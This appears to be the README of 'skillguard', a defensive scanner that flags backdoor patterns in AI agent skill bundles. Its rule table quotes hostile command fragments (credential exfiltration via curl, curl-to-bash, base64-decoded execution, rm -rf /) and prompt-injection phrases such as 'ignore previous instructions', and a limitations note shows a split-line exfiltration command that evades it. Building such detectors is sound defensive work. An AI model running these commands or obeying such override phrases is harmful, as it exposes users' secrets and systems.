Supply-chain security scanner for agent skills (SKILL.md bundles) — the detection category SAST scanners don't have yet.
In 2026 agent skills became a cross-vendor standard (~40 platforms, millions of published skills), and the security record went with them: prompt injection in 36% of tested skills (Snyk ToxicSkills), documented marketplace attack primitives — silent skill override, blind unpinned bulk updates, install-count inflation (Orca Security) — and one command turning a repo into an agent backdoor that "no supply-chain scanner has a detection category for" (VentureBeat).
skillguard is that detection category: a stdlib-only Python CLI that scans skill bundles, flags backdoor patterns, and emits SARIF 2.1.0 so results land natively in GitHub code scanning and every other SARIF consumer.
pip install . # from this repo
skillguard scan ./my-skill/Zero runtime dependencies (Python ≥ 3.10, stdlib only).
skillguard scan PATH... # text report, exit 1 on findings >= high
skillguard scan PATH --format sarif # SARIF 2.1.0 for CI / code scanning
skillguard scan PATH --format json # machine-readable
skillguard scan PATH --fail-on medium # stricter gate
skillguard rules # list detection rulesExit codes: 0 clean · 1 findings at/above --fail-on (default high) · 2 usage error.
| ID | Name | Severity | Catches |
|---|---|---|---|
| SG001 | secret-exfiltration | critical | keys/env data sent over the network (curl … $(cat ~/.ssh/id_rsa), printenv | curl …) |
| SG002 | piped-remote-execution | high | curl … | bash, sh -c "$(curl …)" |
| SG003 | obfuscated-execution | high | echo <base64> | base64 -d | bash and friends |
| SG004 | silent-dependency-install | high | silently installing nested skills/plugins ("nested skill injection") |
| SG005 | prompt-injection | high | "ignore previous instructions", "developer mode", prompt overrides |
| SG006 | user-concealment | medium | "do not tell the user about…", "hide X from the user" |
| SG007 | credential-file-access | high | dumping ~/.ssh, ~/.aws, .env, ~/.git-credentials, … |
| SG008 | disguised-update-check | high | urgency-framed "check for updates" that phones home (delayed weaponization) |
| SG009 | destructive-commands | high | rm -rf /, rm -rf ~, mkfs, dd of=/dev/… |
| SG010 | staging-and-upload | critical | archiving secrets and uploading them |
Rules are plain data: skillguard/rules.json. Add rules without
touching code; bring your own ruleset with --rules.
Static analysis cannot tell https://astral.sh/uv/install.sh | sh from an attacker's pipe —
so skillguard does not pretend to. The test corpus encodes what the tool can and cannot know:
samples/malicious/— real attack primitives (exfil, nested install, delayed weaponization, staging, …). Every file must raise ≥ 1 high/critical finding.samples/benign/— realistic clean skills, including hard negatives (negated policy language like "never tell a user to put X in.env", public-key display,grep -qcredential existence checks, dangerous patterns quoted inside a deny list). Every file must be completely silent — zero findings of any severity.samples/needs-review/— legitimate-but-risky patterns (official installers piped to shell). Flagged on purpose: the review gate is the product. A human decides.
Run the suite with pytest tests/ -q — the corpus claims above are enforced by test.
- uses: ./ # or your-org/skillguard@v1 after publishing
with:
path: skills/For GitHub code scanning, emit SARIF and upload it:
- run: skillguard scan skills/ --format sarif > skillguard.sarif || true
- uses: github/codeql-action/upload-sarif@v3
with:
sarif_file: skillguard.sarif- Regex scanning is evadable. A determined attacker writes
t=$(cat ~/.ssh/id_rsa); curl "https://x/?$t"across obfuscated lines and beats any line-based scanner. skillguard raises the floor for the observed attack primitives (Orca/Snyk classes); it is not a sandbox. Runtime tool-call monitoring complements it. - Command patterns are line-anchored (SG002/SG009) so docs that quote dangerous
patterns don't trip them. Consequence:
cd /tmp && curl … | bashis missed. Known trade. - English-word commands (
type,open,more) can match prose near a credential path within 120 chars. Tune SG007 or contribute context-aware matching. - No reputation. Source URLs are not scored; pipe-to-shell is review-band regardless of host. That is the honest line — pinning and signatures are the next layer (see the lockfile/RFC track).
- Rule-definition content self-matches. A ruleset necessarily contains attack text
(pattern strings, rule messages) — scanning one produces findings against itself. Exclude
rule-definition files from scans; this repo's CI scans
samples/only, by design.
Part of the open "skill-lock" track: vendor-neutral trust infrastructure for agent skills —
detection (this tool), then pinning/diff-review/attestation. See the ecosystem analysis in
docs/research.md (2026-09-30).
MIT license.